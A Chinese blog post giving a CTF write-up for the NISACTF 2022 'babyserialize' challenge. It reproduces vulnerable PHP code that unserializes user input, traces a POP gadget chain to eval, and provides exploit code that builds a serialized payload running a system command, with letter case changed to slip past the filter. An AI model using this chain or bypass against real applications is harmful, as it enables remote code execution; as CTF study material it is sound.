首页 > 其他分享 >[NISACTF 2022]babyserialize

[NISACTF 2022]babyserialize

时间:2023-04-15 22:27:11浏览次数:43  
标签:__ function huang ext babyserialize 2022 fun NISACTF public

[NISACTF 2022]babyserialize

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);//当我们让a为类的对象时,因为strtolower会把对象当作字符串,所以会调用__toString
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

先看题,

  public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }

在NISA类invoke方法中找到了eval函数,这里就是我们可以进行利用的地方。

我们的思路是从后往前推。

首先从NISA.invoke推到Ilovetwx.tostring再到four.set到Ilovetwx.call最后到TianXiWei.wakeup,所以我们pop链的顺序就知道了。

这里waf可以通过大小写绕过。

构造如下:

<?php
class NISA{
    public $fun="sho";
    public $txw4ever="System('tac /f*');";



}

class TianXiWei{
    public $ext;
    public $x;
    
}

class Ilovetxw{
    public $huang;
    public $su;

}

class four{
    public $a="TXW4EVER";
    private $fun='abc';


}
$a=new TianXiWei;
$a->ext=new Ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new Ilovetxw;
$a->ext->huang->a->su=new NISA;
echo urlencode(serialize($a));

?>

 

 

 

标签:__,function,huang,ext,babyserialize,2022,fun,NISACTF,public
From: https://www.cnblogs.com/kode00/p/17294663.html

相关文章

  • 2022 Shanghai Collegiate Programming Contest B
    知识点:差分约束Link:https://codeforces.com/gym/103931/problem/B。被卡SPFA了呃呃。一看出题人是这个人:如何看待SPFA算法已死这种说法?-fstqwq的回答-知乎,那没事了。简述给定参数\(n,q\),表示有一个长度为\(n\)的合法括号序列,且有\(q\)组限制。每组限制均为......
  • 2022年山东省职业院校技能大赛高职组“网络系统管理”赛项
    省赛样题(一)网络基础信息配置1.根据附录1拓扑图及附录2地址规划表,配置设备接口信息。2.所有交换机和无线控制器开启SSH服务,用户名密码分别为admin、admin1234。密码为明文类型,特权密码为admin。3.S7设备配置SNMP功能,向主机172.16.0.254发送Trap消息版本采用V2C,读写的Community为“T......
  • 【专题】2022年中国制造业数字化转型研究报告PDF合集分享(附原数据表)
    报告链接:http://tecdat.cn/?p=32145原文出处:拓端数据公众号本文中所说的制造业数字化转型,指的是在制造企业的设计、生产、管理、销售及服务的每一个环节中,将新一代信息技术应用到制造企业的设计、生产、管理、销售及服务的每一个环节中,并可以以每一个环节中产生的数据为基础,展开......
  • 中电金信:2022银行年报分析——金融科技资金投入及人才队伍建设
    ......
  • 在网页中呈现Crystal Report 2022报表
    准备好数据。创建好水晶报表报表。运行预览时,出现如下提示:但是,我已经有在aspx.cs有传入帐户与密码:密码已经确认输入为正确的。但是: 奇了,什么情况?先来看看是什么原因,导致这个问题产生:2处的服务器名称不相同。解决方案,2种可以解决。第1种,改变xxx.aspx.cs的链接字符,把12......
  • 2022山东高职Zigbee点对点开发
    2022山东高职Zigbee点对点开发题目3、ZigBee设备功能开发使用两个蓝色ZigBee节点盒进行组网通讯,并分别命名为节点端和控制端。节点端上安装双联继电器模块并外接风扇、照明灯。根据任务要求完成功能开发。任务要求:在控制端点击SW1键后,板上的LED1灯实现间隔0.5秒亮......
  • CSP2022 游记
    前言本人坐标HN,因为本人太菜了所以这次考得差的一批请见谅……7:30老爸开车送我到SDFZ门口,遇到了@_SunLight_,然后他拼命跟我叫“要寄了”结果我们俩真寄了,于是我们俩在门口说些什么有的没的……话说我们俩都对没看到puck而震惊,估计puck是去CSSYZ考点了罢。8:05进......
  • android: 平台版本对应api及占比统计(android studio 2022.1.1)
    一,查看平台版本对应的api官方文档地址:https://developer.android.google.cn/guide/topics/manifest/uses-sdk-element.html?utm_campaign=adp_series_sdkversion_010616&utm_source=medium&utm_medium=blog&hl=zh-cn#ApiLevels如图: 二,查看各版本的支持比率:启动androi......
  • P8816 [CSP-J 2022] 上升点列
    P8816[CSP-J2022]上升点列欧几里得距离\(h=\sqrt{(x_2-x_1)^2+(y_2-y_1)^2}\) 。横坐标、纵坐标值均单调不减,A点可向上和向右。①不连接,用上所有点,序列长度为\(j+1\)。②从A点向前枚举(1)判断点是否合法(2)所用点\(j\leK\).01背包与最长子序列结合:\(f[i][j]\)表示......
  • [OpenCV] VS 2022 中的配置
    1、下载windows版本的opencv(默认vs已经下载)下载链接: ReleasesArchive-OpenCV 2.创建一个桌面工程随后打开【视图】-【属性管理器】找到下图   如果没有这个选项,下载链接: MSBuild.zip_免费高速下载|百度网盘-分享无限制(baidu.com) 密码:9527,存放到C:\U......